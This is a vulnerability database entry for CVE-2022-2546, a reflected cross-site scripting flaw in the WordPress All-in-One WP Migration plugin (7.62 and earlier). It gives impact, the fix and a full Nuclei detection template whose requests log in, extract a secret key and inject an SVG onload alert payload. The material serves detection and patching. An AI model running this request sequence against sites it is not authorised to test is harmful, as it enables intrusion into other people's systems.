HexBrain

Browse / CVEs / CVE-2022-2546

CVE-2022-2546· servmask / all-in-one wp migration· CWE-79

WordPress All-in-One WP Migration <=7.62 - Cross-Site Scripting

mediumseverity
4.7CVSS score
1.2%likelihood of exploitation, next 30 days
69%of all CVEs are less likely
Readycheck to confirm it

WordPress All-in-One WP Migration plugin 7.62 and prior contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the target website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress All-in-One WP Migration plugin (7.63 or higher) to mitigate this vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=ai1wm_export ; GET /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bnew_value%5D%5B%5D=XSSPAYLOAD%3Csvg+onload=alert(document.domain)%3E&ai1…
Positive when: contains(header_3, "text/html") and status_code_3 == 200 and contains(body_3, '{\"new_value\":[\"XSSPAYLOAD<svg onload=alert(document.domain)>')

Run it with nuclei: nuclei -id CVE-2022-2546 -u <target>

The full check
id: CVE-2022-2546

info:
  name: WordPress All-in-One WP Migration <=7.62 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress All-in-One WP Migration plugin 7.62 and prior contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the target website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress All-in-One WP Migration plugin (7.63 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f84920e4-a1fe-47cf-9ba5-731989c70f58
    - https://wordpress.org/plugins/all-in-one-wp-migration/
    - https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2546
    - https://github.com/0xvinix/CVE-2022-2546
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.7
    cve-id: CVE-2022-2546
    cwe-id: CWE-79
    epss-score: 0.01204
    epss-percentile: 0.68519
    cpe: cpe:2.3:a:servmask:all-in-one_wp_migration:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: servmask
    product: all-in-one_wp_migration
    framework: wordpress
  tags: cve,cve2022,all-in-one-wp-migration,authenticated,wpscan,wordpress,wp-plugin,wp,xss,servmask,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=ai1wm_export HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bnew_value%5D%5B%5D=XSSPAYLOAD%3Csvg+onload=alert(document.domain)%3E&ai1wm_manual_export=1&secret_key={{secretkey}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(header_3, "text/html")
          - status_code_3 == 200
          - contains(body_3, '{\"new_value\":[\"XSSPAYLOAD<svg onload=alert(document.domain)>')
        condition: and

    extractors:
      - type: regex
        name: secretkey
        group: 1
        regex:
          - 'ai1wm_feedback"},"secret_key":"([0-9a-zA-Z]+)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from